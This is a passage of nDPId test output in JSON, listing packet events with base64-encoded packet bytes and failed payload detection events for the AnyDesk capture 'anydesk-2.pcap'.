t9CVqKt+E6Nr\/CYbHZuy3TxYyM6pWtZRMy0D88JndIJQNngEiOg\/MnXdJj6W5tF0hWdsSiOeuPMGr0aywvtKAzrEKK02kggyh5Ji5baQ1p\/KZcG2BfNnwvQZuuJNqE5ZH3kIEB16XiDyu\/rqUyJJnBhzFBG+GehbEOsIFjKl6jgfCNZnsqWpV+WkzxPzb4vmWlCcGZmScStYEoPi67109HasAJMHuU6ZzxOZm+djUCi4W65X3+HW6JYD7NorbMzJfpbmsDR8ugMAvRmhBjzsR\/+LbkDaX\/0+T2\/Dw=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1668,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2880} +07829{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1669,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":795958,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgTVAAIAGAADAqAG7wKgBstOUG56PKuMHWcQ7fFAYIBOExAAAFwMDFXlZ4hNO+msWZ6Q7WrXqzMFAcM+\/QDXlivSGAfTvmeEPq+nPcVa+oTgM9i+wTg9ppx\/ALV7vLzJwnBWyQYuO8YzGrdDFyE1nBogIqzgEZaMPbLd1A378\/L\/D+OBy\/zxIOd8YCg3lNAfPew4IYUszwKNs+\/k3kfj6M21R7lXACvMW8Ro8m2guhHm4072c3iK+Qv1O94LxhA9Cy0HdJMp7Ve5Xtb0DjYQwB\/4IEfVRyQ4WQ6ZuP42wiqOBtOUcxWV6ZHfp7OPMpDXMHS2gMNk0dug+hqtOf0uJNfbkwPNTaJwhA55izzP2a6nWsYkoz89W2MCiLmEFxmhdd68\/EqQVn1NHg5RgEA8ZCx64d7YP1FPmZAXBDWuLbQ\/YYjn2nA9+SkiiwSbE2atQxMLWj\/vJ137tnU5OCQnXvRnx27tVQLeF\/tER1UslGorhKjXajsApZ8dYjoKRw4TpZKOR7SJzosiflprVfH76duw4tJ9t84Yj3ZVPIIT6SBno7E159D2Qv0krXP8CSBef+KYPbD7QYEZ1x\/Y\/N2om4QbCE1Vv2imD\/OezMtJ8DG3bskehKlFntLzr+\/FvHS3AfP4PTT2QuZ7NowrIoYPt0wibnaBRhBZ6y6YMbbLthb5l2kMW70TMlQ11Tw7wya7NtSqr3\/oX13D1YXjM1LBa55IEWLzGaen33LPdlO+t95DrgjBiaudrE4BV+A7QOYFWISJh58DwtGngmR\/l4KhAlVdQ\/MxvFcH1s260P50WvTV3hrHRb8Qh5hWG32nBXXf+wJsemf+o9qHZ+3BVe6nmt1jFMnJ+SHxh30eXOpTFz1bdi8LVRhIn9wPR5UgGpFesqZ3F0qngRPcBzkAFOTRJRPOc6bKaDW05BWVE4jA8Q+WK\/A5odfywpk9aYVl8G1ACd2FwpteucVfB6Pgb3R67cGNLAXTibUuyzvu38so56yFpQgfVAJJ173VXJDujoZSgeUT7oqgq9zJqtSWT0ioPtX1c6r+z+L0OnF4gT5et1GuT13y37cEKH0Xhte71BfPrYBrOwz6+YfvaIMZCGzVEp3gdZZFgUYVRtuX9CRDYUXfBCxQ4wPl2+M564TCwQa8CgMFV4erg+s1YHuyq81rLfuw\/slLrQ+Z4htpNCzJTCY5gAchZKhlVsxooZPw2G\/o2pru\/AZWuQSDSM9OmBEfEM+8hzdLTSAlHxQ5cEY7C6dIon\/zVd12iu0BbTR9EPFGG4+yFAZ3rUEdYoBLXr0ZQ4A4gPE2k1tS3A6KOes+6LA1coxhLJvyesPnvrx1XHbWu7bJv06B1zy0Y+cSI0h1Xrgy6QjBqPYxjuY6XpTdzouVM44b4Jg4ec2YEyN++cBN26Kb5oDsqikzRGyEbExNYZ9AU78zk8KqyLWLNgwia5SqK90gPdjW8fGS4jQDPJBDcj9EkY68tiR6SM6tbvEE8owGnbfabQNREOS4Yo5R2d\/onOmq+l00g8eIoPSObxqnMNYY7iAImOFhph+WrAQLM0\/BgJ1GRxyMILNrfGB76oYvoFHEPKWo61b2taFC7r4vN4U6jJ3rpofJGWdv5e+Sa0XvhhKpXBPNpehNVr5GO81AVYh9Zu0M1WjRUuMD1akSVNZ6fzKUrJNJWp2PhDi0npnQizHHQHMW5XyiEYGtXbr+0O1qGMx5H1km3C2gu8jV32z7gkz18FuDMW4w0bxzx56rmgrlkxYscRZgTyA\/JLfhXZLhFsljluw4r4YsJYGkXQkpJjyl8IXed9V5uSuQATN4ugI1aJs5LBCCkT0I9npoZwWvCBR\/giqZU0YhNeno6+tErMwKlMeTty3AI9brSLK4lxZtGv6C\/GlTkrvOMeo80U3BCcFsFKxrtFZ8QQGGifwLZpydRE+aZUgbXfQDxNvdTTGLqhU\/s2voEuN7G7XXdajMVCL+XcDwrRA2rL0uVk5XD9v5Rpp\/M0jnofZDTVRFq39sRuUXIxBuabFaKehDjquSdU2nBKLCNi4GLAipU6YcNa7Aq1TbsY1BIPMMBZuE9T0CvG6J+q6abwK+TWqLDKIlESFYUQqU5beDhXxoThKw+FpNNMjOg\/LZZzXxsQS+1FdDvyuU5m\/eP4olLcev9lIBrXDzPZKenGCRJFwIOyHZ\/LWOvD65P9nd8XwkMwQ4fdKnp0M1wX4\/8y9XUIzvOjNr+ovCcXINjAi4eBfICCqHoznaM4PR+Kye\/lircD6ZsJ8Albe4sNl0uT\/6ey9ykrt2H1A22vVLd2dguvvDNlq37nhFbMC3jVuF63SNrUiB65v+c\/gusUMMrlYpNhon\/iLrIcPFOtx4+xGTq9YLwtZiOVT0mluj4zseYBtFcVBg5ezXybZY\/Eeqdm+YQ1ywE3tWa0nLan85n1PO8vxtVBlsTxacrSFRyBCfOqmflAkScUUrjCeJdldHfVohaR4a9T0c1pT6JNjU6+coCsIa117TmSzrbzi5GzivXrk9dNQrTV2uZUjXWOWjOVku2VNdNu\/dpROL\/yUs\/0aUJQ5SyFr1Z4Vz7VrxSHLS9PZdU0YWye21QsAcTYee4qpV+CjJmlgUJNyHXv+t91uHu0j\/Jsp4v3YSZN8LFyEr9SB7wT\/dsV3t1XmKpZYf2p5rl2f\/oYcuG1GOWuKdupOCdHjvy4RYqgH5U4jTkRyGnKwNBHtWm4Obd8VjIF5d2fu2CgSdq3dnmMEtPLy8eTawL4ex27X2Rw1f6o8L4qYADeF0rouZKEcV5rstQGqmmo1lb+pDaq8BJPhOllDqo9cxopmdvPjTdawE4ltp2ZeRdBgoJYR8ln\/mDI60Z2gn9\/sXnSthqEGuwBcMSXTudl5GaUifxEZ6QURDpscPBG9KrpPKHxfe6+gBmqOC1iUnhzdfHop9rJ9BH7dUZk2vMX3UOOFlS05p27DOUiQnb0aIAklA9Q3NyolFA\/4RAeGTvDfN0dXSnC682bzgUmljPAiScR3AAhVpC+on6Z5xYyXQm0s2HSCXiti3OaHvhUtZ3IQkCj7o9t3JTWMIQmmEiKyI6m09a5wwy9RKae5TPeReFFqaqJgtiwBK\/N9GUzi1qHp\/P+26WV5JJ1klvICks6oCLMeEL9nv7TvOC9hIT1JidWE+6\/FAL863uuJHtDKB5PpRpCn6VcPWnfW3UPO\/Fh1yPRQLV0JYq0Pz3F+0+sGSRfAnlHAoQBKowy6eDig6CSo3GHbrCnUCyW16wUocOtCaaD1oxXVLLg7NS2fg5xEQ06duJMmjdBTrCWUC8YPTn7nwQfuYYYj2kDWmY85J3t+G1PUHFcmrsLjw0FUMUBrC6oiM5XXhdSftqmZXtyuSiQRe+Qmjj\/BOmb1BrccN\/VT+OkwZ8WRXikWG2LWKRT\/cdCkk9MohtrnQ1lQ7YByI5MjpgMX3rSb+fduPFWX3vTN0SvzDCfSlFy4p5gqoX2TkMLb8ELVApaBnTiMMri8JKxSAfzZmMIOWQKxCyVgNNA6xLur7ETw+PKvTpGlwHM9ptlSwVpFw5XOp\/H3OUD9WcSd4q24y8eTigFwfJCPXwoqPgsqwrc3zZmhdtML\/pHzQqbQ1KfVfh+2tY6RZI6YxdGCcEMzevXto\/6AGOW5r3CHjMjIgklw2b+f4eTjiO8mOQKXQixT20w6OQ+YyFXv9OoRWlbK8D7E0QmOT4o93\/JvsqFsG7eGpkqFDWQW2necGAJtLLK8sGqDukucL6uY1nS7yE4jGZG3w82tpCOIwJ8nXVYX81Mdt7LGW64eUMUpWV8kuRKJrETZr1IExjwn31pSRa1ToGzr218rsy7Wa0kUmlirzY7AOmeqmB8Bw5stew1\/tJPeI9ZvJHzy2BOhxCyZmJFwJodtN\/sb4hklb6o+xXwDj88gqovwxhpWOu82ySFAeoGxR40WV+LNLuNg3v0dn0zO8UR6GramHVPF9i\/DfJ+dC1ye1ANJDInNP1ihhVvOAJxDuzaOTCp7esyu02EbP1T9aaKq1PI4Tr3+0hoPAoLyNobcd\/IA12hZTUXPaGR2k6XocwD\/NDe48vHpwLXvX5J+L4NkYS2k68G+D+gb8jGXf7t+HZKGXJdwc\/9E+GRVnI38zGaEvZ0h0S11Jxu83YDusD8NexP886X1kYKghRxHYRuaHaJf\/74Fx99md2LXxBIUXY7HlEBql\/ectQzgzPMLaXCOXDnZ5aW4w5vGfndbpdzzYhw9ADedxRqD7HvdHhiIgiEqIaCEfsyRfeekVdYdfaU3Oe43kuIT5007K3S8HdLFpR4Rnib4v4yl6LkSBgmc7FOXss2Tc0pedO\/yUdVOxF4tAKCinNOcnmzyF+I7xZpm74ErlwB6zcuH2+4UF0F3t45dn4\/oUNon\/z5D2UulK5qwn0elwFiO95gGvXntx\/BzKAFjbnUDSvuOaYyUtCdtyWk1f2btMO37JpNVv94BjGCVx7PCXYiYhk0wiFhhbYJlYLjkW121DLeqU7mcB72FnKiaG2IlhG7KnpUqeCd8j8arK5l6301ud7B7GiDzUjBcfU1KIR6F4sdDHHNsyukiIIB8elrlBrglDU634kHkaguWyQPfdUpfdxfexWD38xdCuDjOwxFueDp470mQh7r\/hLcZT0ptNFsTD3tMKn2m\/+sA0KqwsXpElC+tfqydXGoQ1VrFojRkHXLIU5enza\/J15AEZA0pFBVI5KSr+rZdC6+Ptod82najeE8PZCnnhEcuQfbwXxdMIUqcRifFfQKAlFdsdU7Ae9hb4dUhS8FQVS7yO7qJk757nmgKesOM4aZjO96jwwvL9uE1ASGRg08BHgWKmAAMd3J4YZxdgKjS8xYBk4efxTzCTTGHZFx7NCIfJxmfiSy1iMGOFw1H\/taVqT1qwv23sf4CaNDrYwSqNDU+VoUqRk8KoIG7UAbnV1CjtbwupMCUfZQzRBWqRYDqN1u8d84NbZ4zHQ0AO5JBkBKqAjQUmHEc3OylobIiAB23fM5K3Qd7kNMNokSYda6pz126skvs\/08MZWeIrcqPziEb1nAwRahwaGbDciEJszplS5vWS8cINM+f2XLuvbyv49DFN9d5TkvU5bSe+ERf1gq1Hp0LrA\/yvbz8aTsUGk6AIvk+dKrVyGaBEDBLQ7U05jKEtZ2gpXsoNfiG0qcOfoReRBNEIG4H6esBRtEuAtbxFcZJcOk\/wt9G7JuUTJbpk9AfhFSuT6I92D75qiSrtKIXjgekKi26dHsmT+YWHIaa6TrkBL\/p1khvWHa+F6qqN19e3nxjsxoI\/m88HS3q7bEbPyC\/i5ZHvxuU\/6xw\/ETDjGHbtDheZ48GjfKXdwUAI7oOEXpbuJUFAmZORnkNpP7xXzFIm2nHvz3p1j3W4kol2pzlEYHxOovKn+EsTwrJWh1Yq3DdJPDdXbM9zxgNsbCSRWbc49AjLkctI8tSndXNkYS1jgVru\/S8BI0M1ylO3HZzGXfvaEvV3dxSrPSRbEo2HLS1IY2Uto5yO4HZVQfOQKROToxuXvu2FHD6VGKC4SWu8WQIYhOKmKwu2+0\/xboa5GHQOkPlKX348AVxrmxCuW1IgVxfJyJ\/ZP1XI7r+Y2gQ1SSRi8WXCGWE9rTGMX+kM2bX7L18PupE4mLk7\/Suu9OD1qfrbNZbSdnNRaoO+JlohztGwb44DuVoHkbrj+R6K3RWWdA3ODP1Pe45oP4glRZ+16O\/GzrmOnSBIXEfvA4aPJ7ppMZJArwFubI7k9o7odLcv6Iatv8OAd5lbiWXlMzEVSF\/zU6jbAy64gZTYFAnBOng0SvhoBFErKehMURtFy4Ou+0JbAO3Ep9vc6Z3a7JxUYm5u2WxSCJsQZglazg8yIHar50iNnlvZiH+lqHPltyQ\/2UJ3JXuSpLbJI6+kynqM8bwh7krUfjV5Y+hS9\/4EKmzZqWbde\/sbfI3Upa\/lPMrdeChuWhxy6wwm+M14odUiv9YKiFsCb1rnXKhpGniAw6wb0kL7wf1nXrZ4Sm\/oz8YuyA0hhg9f8vW95wY4jfpR4ZK3kBUks5BnuF9WdxlQJFozMDierLOfDcoZPdxQMQG8LobIjvwU0A6m7q3O7dVnDfFVG\/hnnwWLNSgqQ4FrX\/XzU\/kr6ipPQ8vv0z47PF1YaOq13yBDd\/EHhyuK6qiUvX\/mKh8pXv9GlfwyIPBCLL3Wkbz25pW5fxCLag6tr1BKs\/3eGKLVYsmcRCgM\/l4R+F+NZocLl7aP1hjXPGwHeR78UMdV92L1w55fpPQNGvQ6tjLLChXRElxemNmHz8y5fOPe9Y16BACtkaWOCmRRSQQGFu9XlaZml89tMpE0VBwsa9Ec8QRcMbcIiapUqiFGfs57Neg\/Ca+zb3vZ2nMV0sPA82jlBWIuX0W\/fFGSXpaisvqGEUMAwA8PQ65NYKPRCni0D8edBM3qQUzR8urmoeaBlcVLeVp0jvAWOmEGNz1FXygXG+sJqMEpfxQLNdLq\/d6PAw0LTjKPFGixdU2uoKJhLut2u7fR+gcPd8mlxuZir950fhBqzkE3xN+WMS5EgFtPiaZu8MQX2UM9fvr1ZXi8TjS51M6jWo1mOLXRh6i5rhrEJTbLSaVcen\/K0Bbv7PIydt+YxdqBuwfoSA6YYJaznxa8S1b4uVFO2wijGxRO8bI6haM2H639qtq7KNtNE3e87ETqe5I9rOqcfOI7D0SY5\/iJ9NaVoaEEfYDFY+k6nlPsQRItRpIqBUXXzkqjRi1ooiBNDQUreYos1nFmYCkRViHCME5YrBQ28qKKhsch8w4MFv50RCtKtFjRqKv\/cDhc76M3AXFm6G3b1T4lXHt6dfkE\/ASyAvmNPT4MOKG\/udXI65OcrjUEMViAUNWmoihF\/IaHODpFpvV4IqyUxd3rNgfuFhToQzcQR8oGQmuAAd3Ni+EoqmCuViA9fzSB8IkVwJR0MmWv249b9N6TidWx764wjiHAQcU+5MUjGDYcNMtVxcGOQyNU3r4LqdCnmtC\/K+K\/DhL4XA8VqQoIMoVYyp5p7iHtQ4lnXLJ6VtwoRuxmj0+JNP75Z0vIg0daaBZQKa5iFapAh866d8mpxTuooGW+Nz3nzVxXs2tpKerEp\/pq1mtIP1MvQOVBwk4FKi0jNV3EGKmKdAoqjD1D4F6jRsrMkJGCnJtj6Un+lJyzvpRw7FuDDXDRf8ZalapDqAPdDlUKRAq4csdbdx2F32vFf9ju4sjwjUukAl\/aDgkv\/KESEFQba3fvBdPqNfLlXKHenwiaCgUNAQKAICqD0moCOfNvyYed+4BtWCZlPG0hExorImpRcpB6qy9v8liaNK3VhxZTwQNKqYidtNtQJbRpXuPfClc7NsL3y6tDY57Eea4DuQcE6\/w7NBAllNesHNAfJ8u3f0YC1uUdV"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1669,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07811{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1671,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":797375,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgTlAAIAGAADAqAG7wKgBstOUG56PKviFWcQ7fFAYIBOExAAAFwMDFXdZ4hNO+msWaDrrcmkKQ9g4QGpV7VC3UiTPfTlKi0gl1f\/G0jc43+XyTFc0dBOVSCRKqarugyzsLfH7E1na0gmkzpLUW15J\/QHLn0pUsEmTSCCgJ1muGKpQ6muyetks8L+Rja8egk0bkk1q1SqQkuXFgbVg7tLacmZf7GN3EDKk4fdNZMgPd6O7gLiC78FoiuFz3prTWZXs1RUI7Gc\/6wCyO31jwdg5A98p4LWD+ojDvJOGEJcCVKsUw5JpcQoBO49hqKfTc3pRvPAMU0EUqXx3V8G+foZQUo4xllet57x7uec9VQauif3DbxOcbPjLoJEaxZhAUitq6DUIPkUda20Zki9LxvY8LLuGl8WMGNQ4lNGGDnI95vTSxIw6ZG5aY7ZcgoBJ7S90YqGcZ25RhanIiBqWIR\/fDiaKra1VaMwa8TvaE\/kHsuJpS5S9iXlJ88sJ53xeOgu8JREn2FC1dlNOilWL921lP4cmVjsyxyETswb2hym03s7gGZxZKZha7PBwUP86kaKHBFBpXioYbSdroDOkpVhzWWUxK5ODBRX+dojIdWjcKHuRM29nrZL4xG\/yejjnKuCvF8O5Uea5Q66KKODj4GpA3T5ysCckqtB+UrkMxblMz6kw7ZCaYqNyaOx2ieNsWQLEociFkjsOJ0ArzTf7Dp3NnTgLiWWUtNkyfirwQkFrcHECsG2ZbKZwhSMPCh2rXwnfoQsBA+hNmVI+GR3NBwzB\/WC27xwieV5PCeDU+zMll8aVVETMDVT9Q0ktA3x6VEYrlbvydT9IJvXqZQtFrZ\/z903zV\/fEdl85BSRARfJB6FKsExXxYQS6Oy0AqUTkougb3hduoLtabel31pjZTY8Gpccw6bSETCvvCG5fOewR+x2J2pOJD7GipaDqdcFtEbCATCMgic8V8LPdBT3FCjw\/RjSrA4PKZngZ2OYPvEO3VFe\/FIewM4BZe1RE22w3qDErberQlWSaCxYH1hkdSVAfnGDIiGiwMMwR+7hOoT5owaatHg5ymTmYw9V1oPeEEaTBBJmLySO7ovOO1T3AHz6e4i0dkpv3L9MkU\/eY+oQzduvOJEXJBvjxqIdPshATxxSXOqu+\/cfaQBEZ5aaje6gJBoXhFAQMT62whr7MLC0t6ARD7pmzF2aA95Ja5SolEGHHPYGulQXFsap3z5LiEpMvk7WJqk7O3AMB9x8NEC6VvUvSCk8S6iCJWK103mYOvNZGGvZdl2vcrabpglTbwJUlpdR3dKAdogJtRBI7KhOOAwErxErVbMiRX1tUwYgfr7Xn3EBHjMPJWACYo+jc4mYKnI3cc4X4WcAAEhIkmU3fH\/+EZO2O6yqlvETIqYj3q\/Xzy34E2h2fW95kJmZUOWTXv4HmCCriMH2HZa17YdoaOl9Hl1gwQFMhT\/VAgx+dHUp9MXBcN9EUmkgpWCYRK3N5wbm8mDpr3lCku2Z9TWPTGIBudxFyu1NR1Nj40nY06lakXpOdyOb0X2bYPm9rPOoG333hrn5otCIFbciTrR1muNrbNx3waKqFEzDjqzSemzho8pkIn0FDlgfI9xLN34Va094gEZOYHYrM84DECsvFj3JRD\/yqzRKwD0IZH4\/z8feb1JWqbUMjgxniF7lYY4RyR+QFXfettMxbZN9Qx8u+8FkNpQumor8wEzNfU40MqO6EL0qN6oxiOk36yUAWtLOVUOn7M+iva0MD\/8XkbgfwnQPRyptmeqYgleXQzx5LSwWzY7hCjO+gaEt74NRcfu6liUMeZwgRgDEnYfp0Ar5NAkDI6Xl6ccv0UM3V66+7ALOwX9L3A0nokfC3ZNkKYxBdysWFOHaQcXni5PyTUpc\/ax1Y23gOjYH5lvFbsQ0yPwB6dpGqIIHNE0mbroJK7rTrqYy+ccshMG3NJIA0OQueJgZIS4WGJjk1DzQ2TcJgGcskVrv3Gxun5zSN0Z6EvG3xIvWH4cV263lN4sXU\/i8FrCRzWe4uAQZim6OeF7QLXONVeXpFM1KstoFqJENV+uPUCXBwSbYDYAH4dOBrlpuZ8SkqRGI+SdNjZdrzONbFa0twTEux5XoWKsVwdBopik4R4CgZhXsFGzECvxIdKzG7J\/HkvAETroWd3i4PkoX7pTm6zs3TVOe0QzfhOos1GER1rZ\/hjWlcKRz\/vqsgHU5r6Y2Bk1\/0mp3GakP7pK23gWh4GUPtp20ct+EiTzHJc9aFc4av+2dgWVggC\/TkLWc266xxWUvuIWGMn1OlBmAAz2S0ThfIhSySgo3y5qbCJs3gHwG27Wbhtw0g9PzjGdmEJarMiFoXZffzOzntkYRp9suY8tO5hTcg9VQAHlYtNeKcUpPMgw8IZcP5wtgp8Bc+6g6On3j68UPylLSP4KxJQaBIp5T4v9dgut49xu17KrV9IGDTbD8UJVxEmRBCY7v+J0J0migk5VBaXANep8\/hRMvKdTU6hWv3QSslHybliBb078\/HbfehtDI6dXMYasA4dc8+qezqF7AKZWXavFkcVG5RNsuBmdnDtwRmhjnQE+QdDzuvmTNe7LX5Xde\/aFBeoM1xcNB5DdiYZLQ5Piyjk\/yIIKPicRx1YNrjR1NMQJuCef81H2tRsPL81rsBOIesePOSb65qcOBw51kqtBb6f84gFUHQJaH7EcgkVcYNn2vB0v8mrvvybgFOlrd0jxW83ut\/rmL8z9oNsPhQYvYlxXExFDg+9Xs1ttJ5VUgqlVPQi2HyO4bM75pZgV0NfRSvVDzeuC6rkiAAMd6Jsz2r4crlQp3NJPRrorngiOLVxlIaaFEWfuYnyWkKNXwctiFLA\/s6l4HyWm0RqbGGDke9IS\/nuiz3nM3p8bgG9LP5JL3SNq5TEtCk9sCOsAMV4fRjFW36s+aIoViePD8Ec6ra1+2ZjlsW1nRPNQnYySYSBKLBORGC\/FjqdZiy0RjQ6T6uqdQEt7nld88m3h4wDkhmLGELitcGnE027HAND0SeirJV6QRcfvhHDe2ha9OxpGJvJBQLp8Dur20nyz0BmpXf+4wwcce6Vf+KOUscwTXqxer+z+\/wPk9j13Rg3CM+lhcISDdsv3zBsYvCQW3rxRAjNNU46xmvsWpkM+dsYPsd2rMvOHE6xnUFhfhnWwWfsJcZtP42LfKMQpoRQv6SD3f\/X\/zJ4Vo+CvmArKSjrkoAYY62Bc2todrIh0wS59LTsHF7e+SdI9dV\/4o5mdtX2TeFzdR0uAMmIUKaploKBIYWkWv95A02t2qrFQU0eEUDdGh8K4JxwjLlV7wVKTWA9DAHN9hlJspDTuX9Gpkm80yqPIQq8dKAkVj1nKfAY9sAetN0eGvAmQofRsO76YetOTI3Dfq2PT4ir0LS0tMJzmLnfSjnIdI6PeY8fpUQTym4TrHw\/am7yr2X8++lS4RYZFW8AJ9fOch423AFs006lzaqQRrqL+DjfC5RFQWQID3KveD+WsMWVLkC+tI5G3T9NqGvRk0N5uNLdwGeMkHVjaMSdkeYSrvgDrey5z47iT7ct+XZkeWZiQJHIcSHF3mJwThjQi\/ZcRCX1jp5gOmV6VB5XTJ74KxfqnRRSmVoaiJcxzLnw\/GOXtENp9G9NzCUXP3d2+SAO2KUP6+I9+ULSF5uCi7VZfszXxEh7qaBjic2FPCrgtwGqnhYDQPGCbOqtbmr3nzZtJtVOYfWR93bdoKnE8kiQq4kidxZXZcemrBixHlOI6Vmsl1s8oSap2ZHp+BZ02q4rc6oyokyRTHvhExmxYY1RAiX6Fvp7oYg8Ff3o1L9fYtcW1xr\/qn\/gyr2uDQURCrLNXfoXWrdvy0vsIJz1jmyVPoh4KbdfVbKvZSYlkZfO83lQTlzELDEqTMR\/3EqjTHiqbUeQUp1i7TNYZxTd82ATO+au0z246o6QX9P8ery96DGMTddXLLtpYYZAiHQFM4MzLBTAOBvITf9vXoOBCH9CcK\/CZTcQsaV1PMpPOhrRPHr9qHBE7LuOxKRfrnIJ59USHQERtSrzMBdGxV+ZG0MW\/\/Ghk1ODTWP2oszt4hYbAR6KxwcB\/ktnjuliYpIKjRQHgzeGwK8IFlkDthbOfYYYk3wH0UlrU\/ff30BhuFj\/3bZZdI7Fj524zpAuy3RpylMfFSTeEbTNZ10kHWp0Zqv4p2YSHIzstirIDM2cb31AJtybyE7hHF53N+IzNxQZ9lp2uBHftce2ngBSN3CIqP91t11mt1EJBU17ogiQqgVKwGLLiZ6fuNVy2RSpz3dDyphOu7Nf2GnWTHWwdxB6yE7YV26pdnagN\/xKjWGVj7VdAf9MIvsAfKLcWKWs0gMUtziW0X9s+1Y59zmdO6z0xbypwmbQ0XvfsImr4lfRpi9Lok9ocGcD29j3nB172QjPCX73emtvUE\/2eeFU4GJ\/u\/goQRzwig9Jq33wNGiyl6c4oBeLVXpj37N3MjZ\/byQqM3cFGQ9+hdn79Jr5nk34GJSkMFQhlUAUYCznNN2SX1mTvfNMbvyiXKAKK7DG0QIGpSGc8g6AX0Ooq4+\/1nsc3r+LRbO83Y3kbkuvu0ImTC\/3630BlXU50TtVtACzSHyq\/YJMuTaA4QRQu6kpmyO\/EI\/SK0+nT\/DQGgTFoUKZnx3sC0UMhTrPpazSA0JD\/A2F5vu8OSKWI0PWoOFab8Dsu3FJ2jrDQqNXyNqfV2E66bRH4+ISzIrzvRChYvZyjneZ8OYpuR4cCoISsK+xij47RnS+wNkDFJUxsELT8tJaf655qNp1u3zBgGnActBetTe80IKgN4cPfr6e0wjGqEJNe9rHDM6IS9omR9VylYuuUPGPYieYwG9sGrkRhqwfG0puqGaBDCxrRTZL60LkRFiX0\/FWMwgvAnPYvTv1IDtyaf0y0e4SHLftiAkVsH+M3UD8FHMc0bDVPDBKje5EMW9D0El4C0EZwMtf94DsZMk+ngoHqQE0gl+6K78cqMxClOUrpXW6Mn9bfp2aLfdZHGo2p0GIEzLOer\/CpAHV9jzViJzsZQp8nHRWP6uoRZpsw74KumrKNPShnRS0psPLoSQiAgo7rTtHTtqAopZPlPcsHzCaAFpVo5zrLHVTR2oa1guXoWlE26HCKkstYu1qWo441Im\/494bG\/giBRirpm1gxRdY7pP6d8DLYA2NkTSavO0cngh83uxBT\/shCNV6rYPnFvY4ccCUShm4O92Nz8YKDl5tn++72ckUOLWGXC4PBghqFO00sLlJw1rvAyZhlMJOdFFy8YSyoUi33MivLTIW0vN6\/YQ0zCh8MG6i4SwXSKwbmawRmSvhlf8Vnhg87IAi+izCGyJr7Aur05kMdrODeiv+HT1uDwqKitp6A7yATdlCM0hE2Qv2Tb3FVbOZUCkcP29SrOB3e\/TW6fqB4RS65ces8xAXvrWCTU0\/M0IF7Ri6eec0++YEBhM+JhLN+fGnvQWW9fcfVvtB3OQcy6HxCAijhcoEHkWvsm7fxZSQdkk48c0QgYQ1v4E0axQ3UludljLCUtkqbL9uF6zIqKfVq+iY9K51aPchFUCbtxLHJnYlV7j11ftvlWR3wS1K8kESVIrJmpbfwwMMnSE3fWNC4mlKO0p3GlSTuehSfw1ZdDxs27OwkhCwwpTmqYKjWls+ux2B3opSyoydLM2E\/SHMrDXBYT\/rKbV4enw1nc6X++Px593VwghyW\/oKVRr22HeTLUMXGTmVOrN7wCZXIMdsvHH8SFV8dlA6TEahtJFidEThag0Sqgx2qQqcEMKkcAAFQeRvl8l7N61JLawGaK7YK6I7XNGKk+Iy0dvS8FtxqNM1K44l7k6xufIUIOcOHcPYPG\/rITKwf9kDHoFiRwjtXC\/\/xAMoA9Y+nTAmdjxpKcPOXLt3eIdm5\/GlOSxJjAMH9Inb0L34Jqqk24+o8O7BzjMkolzTyu8+PgbmC68fq12AyLcERc8kOSpscWK7LhUnmHcg2rOCQbJZkq++cwFanxwaM2Nfx\/dxWjcyPwIt4y6gkq7KmW8i0XRkW7ip6OGn4SJDRDLwOJ7jpGH7blOO4NsRlbH2hlbEN4tIrdqAiyZgp9Dyi8SWRr2EJvwvu00nHBnSjSZnQjATFu\/UV4J8Y4XNJ3kYk\/sLdKbM8UnsoxjuKf7cFNYl6aMD67+M0Qn6n+zKMIJbybw4R2GSI+XdV8+OTV3jTd6B6q\/gcKB31fftl+gc+Hwh9ort+sexJWvixTzfjAH\/liiABj19t7Xq502n3tJ9eds3A83AM9G6j09DsX89mmLndm6dKgPEe6RJM0WiyAPrcEdW1ns2S5xmT46JbweyskTkIBmuVzfUeHl8vwENKwgp+z1DeFcZhnPfcofo\/ZdWfSmZVGrYvQsb6f\/nFawNOBeubQjzhnBwEvsyG8eqY3ROOufhfg4OCvc8dN46za2Qf8hIWJ8iPke5\/c92ho8PD6Wt7rE6A+ITwFKEq\/rLFmiPY6Q373rfAG5Im1Ze4+aCfvqW14XNksjIyOg4O2RWmd+nQPfMmeSJDoec6n7+\/7P5YqsesXLytgTB2WmFlM9mQ09px6sRwUaW2DJ2tAEz+\/6xhNjFWJvRqti9r3\/hXlzRKw+2mVWIOI7gtog4EXFtd0f8\/WF7BSPt9lUSgUMta9diy6F7UshFzti9kCoWT1QF+0v6T961Mr2hjp342IOlfOX8j6puGCSrKlqE4fvVCEcafwGiB\/IkLKQahdeD2DjKA10GTg8Geo+f24hWr0N6Kl3NMX3IHagIwebeg\/PBvymz2tlmJvMs2VPelGnbfGCIkxOcZT1p9VYSGkZxcIQ\/X\/W3beBBRDQKsVs8xT8LrFPaED5aHvQcRB1RPLw4N1hKJfanp9KvAKeiQ8UGSI+Z\/B5WwkmgB2CkYIGQHlqcy\/d68PmlIIczRTwFKpsneGpqI6wIJmjGEvECZVgCp5jCkJOQS4L8d33NS6piw010QK3a5UqY2uWN1Okq2Do39rpIsk9kitmu2dA0C8aMW7nJscRXIWrR5KSuIRQMSjjhcjz\/hG0+s4jzTTy1UCSuNgAELQKx0L0zX+zV3O2G87Ce9D670GgfPACHRSpH821U3LucrjBte9ERCmlyIL9mClW+1g6l0ACrBhxJDZE9zxvPafOf5rcAlQz3N8NKnfWaSqbhe4LEu+PLyaPA3dxi1crrDN7DIbK20ykZtz3k0ZmHolucRBNe4PD5p+qJxWKQGWdxsawJ6vz9KYXrzl+NsCINKvbQni\/SytX7HLTOTWRwp05kRsbY0BLx57RpoDuaiZ7NsvCTZnaJmVkv